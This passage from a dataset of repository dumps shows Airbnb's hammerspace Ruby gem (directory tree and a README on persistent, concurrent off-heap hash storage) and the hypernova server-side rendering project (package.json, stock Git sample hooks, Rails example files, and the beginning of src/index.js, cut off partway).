| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |
hammerspace | {"type": "directory", "name": "hammerspace", "children": [{"type": "directory", "name": ".chef", "children": [{"type": "directory", "name": "cookbooks", "children": [{"type": "directory", "name": "hammerspace-development", "children": [{"type": "directory", "name": "attributes", "children": [{"type": "file", "name": "default.rb"}, {"type": "file", "name": "essential.rb"}, {"type": "file", "name": "sparkey.rb"}]}, {"type": "directory", "name": "recipes", "children": [{"type": "file", "name": "default.rb"}, {"type": "file", "name": "essential.rb"}, {"type": "file", "name": "ruby.rb"}, {"type": "file", "name": "sparkey.rb"}]}, {"type": "directory", "name": "templates", "children": [{"type": "directory", "name": "default", "children": [{"type": "file", "name": ".bash_profile.erb"}]}]}]}]}, {"type": "directory", "name": "roles", "children": [{"type": "file", "name": "hammerspace-development.rb"}]}]}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "Gemfile"}, {"type": "file", "name": "hammerspace.gemspec"}, {"type": "directory", "name": "lib", "children": [{"type": "directory", "name": "hammerspace", "children": [{"type": "directory", "name": "backend", "children": [{"type": "file", "name": "sparkey.rb"}]}, {"type": "file", "name": "backend.rb"}, {"type": "file", "name": "hash.rb"}, {"type": "file", "name": "hash_methods.rb"}, {"type": "file", "name": "version.rb"}]}, {"type": "file", "name": "hammerspace.rb"}]}, {"type": "file", "name": "LICENSE.txt"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "script", "children": [{"type": "file", "name": "write_concurrency_test.rb"}]}, {"type": "directory", "name": "spec", "children": [{"type": "directory", "name": "features", "children": [{"type": "file", "name": "hash_spec.rb"}]}, {"type": "directory", "name": "lib", "children": [{"type": "directory", "name": "hammerspace", "children": [{"type": "directory", "name": "backend", "children": [{"type": "file", "name": "sparkey_spec.rb"}]}, {"type": "file", "name": "hash_spec.rb"}]}, {"type": "file", "name": "hammerspace_spec.rb"}]}, {"type": "file", "name": "spec_helper.rb"}, {"type": "directory", "name": "support", "children": [{"type": "file", "name": "sparkey_directory_helper.rb"}, {"type": "file", "name": "write_concurrency_test.rb"}]}]}]} | Hammerspace
===========
Hash-like interface to persistent, concurrent, off-heap storage
## What is Hammerspace?
_[Hammerspace](http://en.wikipedia.org/wiki/Hammerspace) ... is a
fan-envisioned extradimensional, instantly accessible storage area in fiction,
which is used to explain how animated, comic, and game characters can produce
objects out of thin air._
This gem provides persistent, concurrently-accessible off-heap storage of
strings with a familiar hash-like interface. It is optimized for bulk writes
and random reads.
## Motivation
Applications often use data that never changes or changes very infrequently. In
many cases, some latency is acceptable when accessing this data. For example, a
user's profile may be loaded from a web service, a database, or an external
shared cache like memcache. In other cases, latency is much more sensitive. For
example, translations may be used many times and incurring even a ~2ms delay to
access them from an external cache would be prohibitively slow.
To work around the performance issue, this type of data is often loaded into
the application at startup. Unfortunately, this means the data is stored on the
heap, where the garbage collector must scan over the objects on every run (at
least in the case of Ruby MRI). Further, for application servers that utilize
multiple processes, each process has its own copy of the data which is an
inefficient use of memory.
Hammerspace solves these problems by moving the data off the heap onto disk.
Leveraging libraries and data structures optimized for bulk writes and random
reads allows an acceptable level of performance to be maintained. Because the
data is persistent, it does not need to be reloaded from an external cache or
service on application startup unless the data has changed.
Unfortunately, these low-level libraries don't always support concurrent
writers. Hammerspace adds concurrency control to allow multiple processes to
update and read from a single shared copy of the data safely. Finally,
hammerspace's interface is designed to mimic Ruby's `Hash` to make integrating
with existing applications simple and straightforward. Different low-level
libraries can be used by implementing a new backend that uses the library.
(Currently, only [Sparkey](https://github.com/spotify/sparkey) is supported.)
Backends only need to implement a small set of methods (`[]`, `[]=`, `close`,
`delete`, `each`, `uid`), but can override the default implementation of other
methods if the underlying library supports more efficient implementations.
## Installation
### Requirements
* [Gnista](https://github.com/emnl/gnista), Ruby bindings for Sparkey
* [Sparkey](https://github.com/spotify/sparkey), constant key/value storage library
* [Snappy](https://code.google.com/p/snappy/), compression/decompression library (unused, but required to compile Sparkey)
* A filesystem that supports `flock(2)` and unlinking files/directories with outstanding file descriptors (ext3/4 will do just fine)
### Installation
Add the following line to your Gemfile:
gem 'hammerspace'
Then run:
bundle
### Vagrant
To make development easier, the source tree contains a Vagrantfile and a small
cookbook to install all the prerequisites. The vagrant environment also serves
as a consistent environment to run the test suite.
To use it, make sure you have vagrant installed, then:
vagrant up
vagrant ssh
bundle exec rspec
## Usage
### Getting Started
For the most part, hammerspace acts like a Ruby hash. But since it's a hash
that persists on disk, you have to tell it where to store the files. The
enclosing directory and any parent directories are created if they don't
already exist.
```ruby
h = Hammerspace.new("/tmp/hammerspace")
h["cartoons"] = "mallets"
h["games"] = "inventory"
h["rubyists"] = "data"
h.size #=> 3
h["cartoons"] #=> "mallets"
h.map { |k,v| "#{k.capitalize} use hammerspace to store #{v}." }
h.close
```
You should call `close` on the hammerspace object when you're done with it.
This flushes any pending writes to disk and closes any open file handles.
### Options
The constructor takes a hash of options as an optional second argument.
Currently the only option supported is `:backend` which specifies which backend
class to use. Since there is only one backend supported at this time, there is
currently no reason to pass this argument.
```ruby
h = Hammerspace.new("/tmp/hammerspace", {:backend => Hammerspace::Backend::Sparkey})
```
### Default Values
The constructor takes a default value as an optional third argument. This
functions the same as Ruby's `Hash`, except with `Hash` it is the first
argument.
```ruby
h = Hammerspace.new("/tmp/hammerspace", {}, "default")
h["foo"] = "bar"
h["foo"] #=> "bar"
h["new"] #=> "default"
h.close
```
The constructor also takes a block to specify a default Proc, which works the
same way as Ruby's `Hash`. As with `Hash`, it is the block's responsibility to
store the value in the hash if required.
```ruby
h = Hammerspace.new("/tmp/hammerspace") { |hash, key| hash[key] = "#{key} (default)" }
h["new"] #=> "new (default)"
h.has_key?("new") #=> true
h.close
```
### Supported Data Types
Only string keys and values are supported.
```ruby
h = Hammerspace.new("/tmp/hammerspace")
h[1] = "foo" #=> TypeError
h["fixnum"] = 8 #=> TypeError
h["nil"] = nil #=> TypeError
h.close
```
Ruby hashes store references to objects, but hammerspace stores raw bytes. A
new Ruby `String` object is created from those bytes when a key is accessed.
```ruby
value = "bar"
hash = {"foo" => value}
hash["foo"] == value #=> true
hash["foo"].equal?(value) #=> true
hammerspace = Hammerspace.new("/tmp/hammerspace")
hammerspace["foo"] = value
hammerspace["foo"] == value #=> true
hammerspace["foo"].equal?(value) #=> false
hammerspace.close
```
Since every access results in a new `String` object, mutating values doesn't
work unless you create an explicit reference to the string.
```ruby
h = Hammerspace.new("/tmp/hammerspace")
h["foo"] = "bar"
# This doesn't work like Ruby's Hash because every access creates a new object
h["foo"].upcase!
h["foo"] #=> "bar"
# An explicit reference is required
value = h["foo"]
value.upcase!
value #=> "BAR"
# Another access, another a new object
h["foo"] #=> "bar"
h.close
```
This also imples that strings "lose" their encoding when retrieved from
hammerspace.
```ruby
value = "bar"
value.encoding #=> #<Encoding:UTF-8>
h = Hammerspace.new("/tmp/hammerspace")
h["foo"] = value
h["foo"].encoding #=> #<Encoding:ASCII-8BIT>
h.close
```
If you require strings in UTF-8, make sure strings are encoded as UTF-8 when
storing the key, then force the encoding to be UTF-8 when accessing the key.
```ruby
h[key] = value.encode('utf-8')
value = h[key].force_encoding('utf-8')
```
### Persistence
Hammerspace objects are backed by files on disk, so even a new object may
already have data in it.
```ruby
h = Hammerspace.new("/tmp/hammerspace")
h["foo"] = "bar"
h.close
h = Hammerspace.new("/tmp/hammerspace")
h["foo"] #=> "bar"
h.close
```
Calling `clear` deletes the data files on disk. The parent directory is not
removed, nor is it guaranteed to be empty. Some files containing metadata may
still be present, e.g., lock files.
### Concurrency
Multiple concurrent readers are supported. Readers are isolated from writers,
i.e., reads are consistent to the time that the reader was opened. Note that
the reader opens its files lazily on first read, not when the hammerspace
object is created.
```ruby
h = Hammerspace.new("/tmp/hammerspace")
h["foo"] = "bar"
h.close
reader1 = Hammerspace.new("/tmp/hammerspace")
reader1["foo"] #=> "bar"
writer = Hammerspace.new("/tmp/hammerspace")
writer["foo"] = "updated"
writer.close
# Still "bar" because reader1 opened its files before the write
reader1["foo"] #=> "bar"
# Updated key is visible because reader2 opened its files after the write
reader2 = Hammerspace.new("/tmp/hammerspace")
reader2["foo"] #=> "updated"
reader2.close
reader1.close
```
A new hammerspace object does not necessarily need to be created. Calling
`close` will close the files, then the reader will open them lazily again on
the next read.
```ruby
h = Hammerspace.new("/tmp/hammerspace")
h["foo"] = "bar"
h.close
reader = Hammerspace.new("/tmp/hammerspace")
reader["foo"] #=> "bar"
writer = Hammerspace.new("/tmp/hammerspace")
writer["foo"] = "updated"
writer.close
reader["foo"] #=> "bar"
# Close files now, re-open lazily on next read
reader.close
reader["foo"] #=> "updated"
reader.close
```
If no hammerspace files exist on disk yet, the reader will fail to open the
files. It will try again on next read.
```ruby
reader = Hammerspace.new("/tmp/hammerspace")
reader.has_key?("foo") #=> false
writer = Hammerspace.new("/tmp/hammerspace")
writer["foo"] = "bar"
writer.close
# Files are opened here
reader.has_key?("foo") #=> true
reader.close
```
You can call `uid` to get a unique id that identifies the version of the files
being read. `uid` will be `nil` if no hammerspace files exist on disk yet.
```ruby
reader = Hammerspace.new("/tmp/hammerspace")
reader.uid #=> nil
writer = Hammerspace.new("/tmp/hammerspace")
writer["foo"] = "bar"
writer.close
reader.close
reader.uid #=> "24913_53943df0-e784-4873-ade6-d1cccc848a70"
# The uid changes on every write, even if the content is the same, i.e., it's
# an identifier, not a checksum
writer["foo"] = "bar"
writer.close
reader.close
reader.uid #=> "24913_9371024e-8c80-477b-8558-7c292bfcbfc1"
reader.close
```
Multiple concurrent writers are also supported. When a writer flushes its
changes it will overwrite any previous versions of the hammerspace.
In practice, this works because hammerspace is designed to hold data that is
bulk-loaded from some authoritative external source. Rather than block writers
to enforce consistency, it is simpler to allow writers to concurrently attempt
to load the data. The last writer to finish loading the data and flush its
writes will have its data persisted.
```ruby
writer1 = Hammerspace.new("/tmp/hammerspace")
writer1["color"] = "red"
# Can start while writer1 is still open
writer2 = Hammerspace.new("/tmp/hammerspace")
writer2["color"] = "blue"
writer2["fruit"] = "banana"
writer2.close
# Reads at this point see writer2's data
reader1 = Hammerspace.new("/tmp/hammerspace")
reader1["color"] #=> "blue"
reader1["fruit"] #=> "banana"
reader1.close
# Replaces writer2's data
writer1.close
# Reads at this point see writer1's data; note that "fruit" key is absent
reader2 = Hammerspace.new("/tmp/hammerspace")
reader2["color"] #=> "red"
reader2["fruit"] #=> nil
reader2.close
```
### Flushing Writes
Flushing a write incurs some overhead to build the on-disk hash structures that
allows fast lookup later. To avoid the overhead of rebuilding the hash after
every write, most write operations do not implicitly flush. Writes can be
flushed explicitly by calling `close`.
Delaying flushing of writes has the side effect of allowing "transactions" --
all unflushed writes are private to the hammerspace object doing the writing.
One exception is the `clear` method which deletes the files on disk. If a
reader attempts to open the files immediately after they are deleted, it will
perceive the hammerspace to be empty.
```ruby
h = Hammerspace.new("/tmp/hammerspace")
h["yesterday"] = "foo"
h["today"] = "bar"
h.close
reader1 = Hammerspace.new("/tmp/hammerspace")
reader1.keys #=> ["yesterday", "today"]
reader1.close
# Writer wants to remove everything except "today"
writer = Hammerspace.new("/tmp/hammerspace")
writer.clear
# Effect of clear is immediately visible to readers
reader2 = Hammerspace.new("/tmp/hammerspace")
reader2.keys #=> []
reader2.close
writer["today"] = "bar"
writer.close
reader3 = Hammerspace.new("/tmp/hammerspace")
reader3.keys #=> ["today"]
reader3.close
```
If you want to replace the existing data with new data without flushing in
between (i.e., in a "transaction"), use `replace` instead.
```ruby
h = Hammerspace.new("/tmp/hammerspace")
h["yesterday"] = "foo"
h["today"] = "bar"
h.close
reader1 = Hammerspace.new("/tmp/hammerspace")
reader1.keys #=> ["yesterday", "today"]
reader1.close
# Writer wants to remove everything except "today"
writer = Hammerspace.new("/tmp/hammerspace")
writer.replace({"today" => "bar"})
# Old keys still present because writer has not flushed yet
reader2 = Hammerspace.new("/tmp/hammerspace")
reader2.keys #=> ["yesterday", "today"]
reader2.close
writer.close
reader3 = Hammerspace.new("/tmp/hammerspace")
reader3.keys #=> ["today"]
reader3.close
```
### Interleaving Reads and Writes
To ensure writes are available to subsequent reads, every read operation
implicitly flushes any previous writes.
```ruby
h = Hammerspace.new("/tmp/hammerspace")
h["foo"] = "bar"
# Implicitly flushes write (builds on-disk hash for fast lookup), then opens
# newly written on-disk hash for reading
h["foo"] #=> "bar"
h.close
```
While batch reads or writes are relatively fast, interleaved reads and writes
are slow because the hash is rebuilt very often.
```ruby
# One flush, fast
h = Hammerspace.new("/tmp/hammerspace")
h["a"] = "100"
h["b"] = "200"
h["c"] = "300"
h["a"] #=> "100"
h["b"] #=> "200"
h["c"] #=> "300"
h.close
# Three flushes, slow
h = Hammerspace.new("/tmp/hammerspace")
h["a"] = "100"
h["a"] #=> "100"
h["b"] = "200"
h["b"] #=> "200"
h["c"] = "300"
h["c"] #=> "300"
h.close
```
To avoid this overhead, and to ensure consistency during iteration, the `each`
method opens its own private reader for the duration of the iteration. This is
also true for any method that uses `each`, including all methods provided by
`Enumerable`.
```ruby
h = Hammerspace.new("/tmp/hammerspace")
h["a"] = "100"
h["b"] = "200"
h["c"] = "300"
# Flushes the above writes, then opens a private reader for the each call
h.each do |key, value|
# Writes are done in bulk without flushing in between
h[key] = value[0]
end
# Flushes the above writes, then opens the reader
h.to_hash #=> {"a"=>"1", "b"=>"2", "c"=>"3"}
h.close
```
### Unsupported Methods
Besides the incompatibilities with Ruby's `Hash` discussed above, there are
some `Hash` methods that are not supported.
* Methods that return a copy of the hash: `invert`, `merge`, `reject`, `select`
* `rehash` is not needed, since hammerspace only supports string keys, and keys are effectively `dup`d
* `delete` does not return the value deleted, and it does not support block usage
* `hash` and `to_s` are not overriden, so the behavior is that of `Object#hash` and `Object#to_s`
* `compare_by_identity`, `compare_by_identity?`
* `pretty_print`, `pretty_print_cycle`
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |
hypernova | {"type": "directory", "name": "hypernova", "children": [{"type": "file", "name": ".babelrc"}, {"type": "file", "name": ".eslintrc"}, {"type": "file", "name": ".npmignore"}, {"type": "file", "name": ".npmrc"}, {"type": "file", "name": ".nycrc"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "directory", "name": "docs", "children": [{"type": "file", "name": "client-spec.md"}, {"type": "file", "name": "clients.md"}, {"type": "file", "name": "markup.md"}]}, {"type": "directory", "name": "examples", "children": [{"type": "directory", "name": "simple", "children": [{"type": "directory", "name": "app", "children": [{"type": "directory", "name": "assets", "children": [{"type": "directory", "name": "images", "children": [{"type": "file", "name": ".keep"}]}, {"type": "directory", "name": "javascripts", "children": [{"type": "file", "name": "application.js"}, {"type": "file", "name": "MyComponent.js"}, {"type": "file", "name": "welcome.coffee"}]}, {"type": "directory", "name": "stylesheets", "children": [{"type": "file", "name": "application.css"}, {"type": "file", "name": "welcome.scss"}]}]}, {"type": "directory", "name": "controllers", "children": [{"type": "file", "name": "application_controller.rb"}, {"type": "directory", "name": "concerns", "children": [{"type": "file", "name": ".keep"}]}, {"type": "file", "name": "welcome_controller.rb"}]}, {"type": "directory", "name": "helpers", "children": [{"type": "file", "name": "application_helper.rb"}, {"type": "file", "name": "welcome_helper.rb"}]}, {"type": "directory", "name": "mailers", "children": [{"type": "file", "name": ".keep"}]}, {"type": "directory", "name": "models", "children": [{"type": "file", "name": ".keep"}, {"type": "directory", "name": "concerns", "children": [{"type": "file", "name": ".keep"}]}]}, {"type": "directory", "name": "views", "children": [{"type": "directory", "name": "layouts", "children": [{"type": "file", "name": "application.html.erb"}]}, {"type": "directory", "name": "welcome", "children": [{"type": "file", "name": "index.html.erb"}]}]}]}, {"type": "directory", "name": "bin", "children": [{"type": "file", "name": "bundle"}, {"type": "file", "name": "rails"}, {"type": "file", "name": "rake"}, {"type": "file", "name": "setup"}, {"type": "file", "name": "spring"}]}, {"type": "directory", "name": "config", "children": [{"type": "file", "name": "application.rb"}, {"type": "file", "name": "boot.rb"}, {"type": "file", "name": "database.yml"}, {"type": "file", "name": "environment.rb"}, {"type": "directory", "name": "environments", "children": [{"type": "file", "name": "development.rb"}, {"type": "file", "name": "production.rb"}, {"type": "file", "name": "test.rb"}]}, {"type": "directory", "name": "initializers", "children": [{"type": "file", "name": "assets.rb"}, {"type": "file", "name": "backtrace_silencers.rb"}, {"type": "file", "name": "cookies_serializer.rb"}, {"type": "file", "name": "filter_parameter_logging.rb"}, {"type": "file", "name": "hypernova.rb"}, {"type": "file", "name": "inflections.rb"}, {"type": "file", "name": "mime_types.rb"}, {"type": "file", "name": "session_store.rb"}, {"type": "file", "name": "wrap_parameters.rb"}]}, {"type": "directory", "name": "locales", "children": [{"type": "file", "name": "en.yml"}]}, {"type": "file", "name": "routes.rb"}, {"type": "file", "name": "secrets.yml"}]}, {"type": "file", "name": "config.ru"}, {"type": "directory", "name": "db", "children": [{"type": "file", "name": "seeds.rb"}]}, {"type": "file", "name": "Gemfile"}, {"type": "file", "name": "Gemfile.lock"}, {"type": "file", "name": "hypernova.js"}, {"type": "directory", "name": "log", "children": [{"type": "file", "name": ".keep"}]}, {"type": "file", "name": "package.json"}, {"type": "directory", "name": "public", "children": [{"type": "file", "name": "404.html"}, {"type": "file", "name": "422.html"}, {"type": "file", "name": "500.html"}, {"type": "file", "name": "favicon.ico"}, {"type": "file", "name": "robots.txt"}]}, {"type": "file", "name": "Rakefile"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "README.rdoc"}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "controllers", "children": [{"type": "file", "name": ".keep"}, {"type": "file", "name": "welcome_controller_test.rb"}]}, {"type": "directory", "name": "fixtures", "children": [{"type": "file", "name": ".keep"}]}, {"type": "directory", "name": "helpers", "children": [{"type": "file", "name": ".keep"}]}, {"type": "directory", "name": "integration", "children": [{"type": "file", "name": ".keep"}]}, {"type": "directory", "name": "mailers", "children": [{"type": "file", "name": ".keep"}]}, {"type": "directory", "name": "models", "children": [{"type": "file", "name": ".keep"}]}, {"type": "file", "name": "test_helper.rb"}]}, {"type": "directory", "name": "vendor", "children": [{"type": "directory", "name": "assets", "children": [{"type": "directory", "name": "javascripts", "children": [{"type": "file", "name": ".keep"}]}, {"type": "directory", "name": "stylesheets", "children": [{"type": "file", "name": ".keep"}]}]}]}]}]}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "server.js"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "coordinator.js"}, {"type": "file", "name": "createGetComponent.js"}, {"type": "file", "name": "createVM.js"}, {"type": "file", "name": "environment.js"}, {"type": "file", "name": "getFiles.js"}, {"type": "file", "name": "index.js"}, {"type": "file", "name": "loadModules.js"}, {"type": "file", "name": "Module.js"}, {"type": "file", "name": "server.js"}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "BatchManager.js"}, {"type": "file", "name": "lifecycle.js"}, {"type": "file", "name": "logger.js"}, {"type": "file", "name": "renderBatch.js"}]}, {"type": "file", "name": "worker.js"}]}, {"type": "directory", "name": "test", "children": [{"type": "file", "name": "a.js"}, {"type": "file", "name": "b.js"}, {"type": "file", "name": "BatchManager-test.js"}, {"type": "file", "name": "checkIso.js"}, {"type": "file", "name": "client-test.js"}, {"type": "directory", "name": "components", "children": [{"type": "file", "name": "HypernovaExample.js"}, {"type": "directory", "name": "nested", "children": [{"type": "file", "name": "component.bundle.js"}]}]}, {"type": "file", "name": "coordinator-test.js"}, {"type": "file", "name": "createGetComponent-test.js"}, {"type": "file", "name": "createVM-test.js"}, {"type": "file", "name": "escape-test.js"}, {"type": "file", "name": "getFiles-test.js"}, {"type": "file", "name": "helper.js"}, {"type": "file", "name": "hypernova-runner-test.js"}, {"type": "file", "name": "index-test.js"}, {"type": "file", "name": "init.js"}, {"type": "file", "name": "lifecycle-test.js"}, {"type": "file", "name": "loadModules-test.js"}, {"type": "file", "name": "Module-test.js"}, {"type": "file", "name": "mutableArray.js"}, {"type": "file", "name": "renderBatch-test.js"}, {"type": "file", "name": "server-test.js"}]}]} | == README
This README would normally document whatever steps are necessary to get the
application up and running.
Things you may want to cover:
* Ruby version
* System dependencies
* Configuration
* Database creation
* Database initialization
* How to run the test suite
* Services (job queues, cache servers, search engines, etc.)
* Deployment instructions
* ...
Please feel free to use a different markup language if you do not plan to run
<tt>rake doc:app</tt>.
| {"package.json": "{\n \"name\": \"hypernova\",\n \"version\": \"2.5.0\",\n \"description\": \"A service for server-side rendering your JavaScript views\",\n \"main\": \"lib/index.js\",\n \"scripts\": {\n \"prepublishOnly\": \"safe-publish-latest && npm run build\",\n \"prepublish\": \"not-in-publish || npm run prepublishOnly\",\n \"clean\": \"rimraf lib\",\n \"prebuild\": \"npm run clean\",\n \"build\": \"babel src -d lib\",\n \"prelint\": \"npm run build\",\n \"lint\": \"eslint src test\",\n \"pretest\": \"npm run --silent lint\",\n \"test\": \"npm run coverage\",\n \"pretests-only\": \"npm run build\",\n \"tests-only\": \"npm run test:quick\",\n \"posttest\": \"aud --production\",\n \"precoverage\": \"npm run build\",\n \"coverage\": \"babel-node node_modules/.bin/istanbul cover --report html node_modules/.bin/_mocha -- -R tap test/init.js test/*-test.js\",\n \"postcoverage\": \"npm run cover:check\",\n \"cover:check\": \"istanbul check-coverage && echo code coverage thresholds met, achievement unlocked!\",\n \"test:quick\": \"babel-node node_modules/.bin/_mocha -R tap test/init.js test/*-test.js\"\n },\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"[email protected]:airbnb/hypernova.git\"\n },\n \"keywords\": [\n \"react\",\n \"server\",\n \"render\",\n \"isomorphic\",\n \"universal\",\n \"express\"\n ],\n \"author\": \"Josh Perez <[email protected]>\",\n \"contributors\": [\n \"Leland Richardson <[email protected]>\",\n \"Jordan Harband <[email protected]>\",\n \"Gary Borton <[email protected]>\",\n \"Stephen Bush <[email protected]>\",\n \"Ian Myers <[email protected]>\",\n \"Jake Teton-Landis <[email protected]>\"\n ],\n \"license\": \"MIT\",\n \"bugs\": {\n \"url\": \"https://github.com/airbnb/hypernova/issues\"\n },\n \"homepage\": \"https://github.com/airbnb/hypernova\",\n \"devDependencies\": {\n \"aud\": \"^2.0.0\",\n \"babel-cli\": \"^6.26.0\",\n \"babel-plugin-add-module-exports\": \"^0.2.1\",\n \"babel-plugin-transform-replace-object-assign\": \"^1.0.0\",\n \"babel-preset-airbnb\": \"^2.5.3\",\n \"chai\": \"^4.3.6\",\n \"cheerio\": \"=1.0.0-rc.3\",\n \"eslint\": \"^8.14.0\",\n \"eslint-config-airbnb-base\": \"^15.0.0\",\n \"eslint-plugin-import\": \"^2.26.0\",\n \"in-publish\": \"^2.0.1\",\n \"mocha\": \"^3.5.3\",\n \"mocha-wrap\": \"^2.1.2\",\n \"nyc\": \"^10.3.2\",\n \"rimraf\": \"^2.6.3\",\n \"safe-publish-latest\": \"^2.0.0\",\n \"sinon\": \"^3.3.0\",\n \"sinon-sandbox\": \"^1.0.2\"\n },\n \"dependencies\": {\n \"airbnb-js-shims\": \"^2 || ^3\",\n \"bluebird\": \"^3.7.2\",\n \"body-parser\": \"^1.20.0\",\n \"express\": \"^4.18.0\",\n \"glob\": \"^7.2.0\",\n \"has\": \"^1.0.3\",\n \"lru-cache\": \"^4.1.5\",\n \"object.assign\": \"^4.1.2\",\n \"winston\": \"^2.4.5\"\n },\n \"engines\": {\n \"node\": \">= 0.10\"\n },\n \"greenkeeper\": {\n \"ignore\": [\n \"mocha\",\n \"sinon\"\n ]\n }\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "examples\\simple\\package.json": "{\n \"name\": \"hypernova-simple-example\",\n \"private\": true,\n \"version\": \"1.0.0\",\n \"description\": \"A sample Rails application that uses Hypernova to server render.\",\n \"main\": \"hypernova.js\",\n \"dependencies\": {\n \"hypernova\": \"^1.0.0\",\n \"hypernova-react\": \"^1.0.0\",\n \"react\": \"^15.0.1\",\n \"react-dom\": \"^15.0.1\"\n },\n \"devDependencies\": {\n \"browserify\": \"^13.0.0\",\n \"browserify-incremental\": \"^3.1.1\"\n },\n \"author\": \"Josh Perez <[email protected]>\",\n \"license\": \"MIT\"\n}\n", "examples\\simple\\app\\assets\\javascripts\\application.js": "// This is a manifest file that'll be compiled into application.js, which will include all the files\n// listed below.\n//\n// Any JavaScript/Coffee file within this directory, lib/assets/javascripts, vendor/assets/javascripts,\n// or any plugin's vendor/assets/javascripts directory can be referenced here using a relative path.\n//\n// It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the\n// compiled file.\n//\n// Read Sprockets README (https://github.com/rails/sprockets#sprockets-directives) for details\n// about supported directives.\n//\n//= require jquery\n//= require jquery_ujs\n//= require turbolinks\n//= require_tree .\n", "examples\\simple\\app\\assets\\stylesheets\\application.css": "/*\n * This is a manifest file that'll be compiled into application.css, which will include all the files\n * listed below.\n *\n * Any CSS and SCSS file within this directory, lib/assets/stylesheets, vendor/assets/stylesheets,\n * or any plugin's vendor/assets/stylesheets directory can be referenced here using a relative path.\n *\n * You're free to add application-wide styles to this file and they'll appear at the bottom of the\n * compiled file so the styles you add here take precedence over styles defined in any styles\n * defined in the other CSS/SCSS files in this directory. It is generally better to create a new\n * file per style scope.\n *\n *= require_tree .\n *= require_self\n */\n", "examples\\simple\\app\\controllers\\application_controller.rb": "class ApplicationController < ActionController::Base\n # Prevent CSRF attacks by raising an exception.\n # For APIs, you may want to use :null_session instead.\n protect_from_forgery with: :exception\nend\n", "examples\\simple\\app\\helpers\\application_helper.rb": "module ApplicationHelper\nend\n", "examples\\simple\\app\\views\\layouts\\application.html.erb": "<!DOCTYPE html>\n<html>\n<head>\n <title>Simple</title>\n <%= stylesheet_link_tag 'application', media: 'all', 'data-turbolinks-track' => true %>\n <%= csrf_meta_tags %>\n</head>\n<body>\n\n<%= yield %>\n\n</body>\n<%= javascript_include_tag 'application', 'data-turbolinks-track' => true %>\n</html>\n", "examples\\simple\\app\\views\\welcome\\index.html.erb": "<%= render_react_component('MyComponent.js', :name => 'Hypernova') %>\n", "examples\\simple\\config\\application.rb": "require File.expand_path('../boot', __FILE__)\n\nrequire 'rails/all'\n\n# Require the gems listed in Gemfile, including any gems\n# you've limited to :test, :development, or :production.\nBundler.require(*Rails.groups)\n\nmodule Simple\n class Application < Rails::Application\n # Settings in config/environments/* take precedence over those specified here.\n # Application configuration should go into files in config/initializers\n # -- all .rb files in that directory are automatically loaded.\n\n # Set Time.zone default to the specified zone and make Active Record auto-convert to this zone.\n # Run \"rake -D time\" for a list of tasks for finding time zone names. Default is UTC.\n # config.time_zone = 'Central Time (US & Canada)'\n\n # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.\n # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]\n # config.i18n.default_locale = :de\n\n # Do not swallow errors in after_commit/after_rollback callbacks.\n config.active_record.raise_in_transactional_callbacks = true\n end\nend\n", "src\\index.js": "/* globals document */\n\nconst LEFT = '<!--';\nconst RIGHT = '-->';\n\nconst ENCODE = [\n ['&', '&'],\n ['>', '>'],\n];\n\nconst 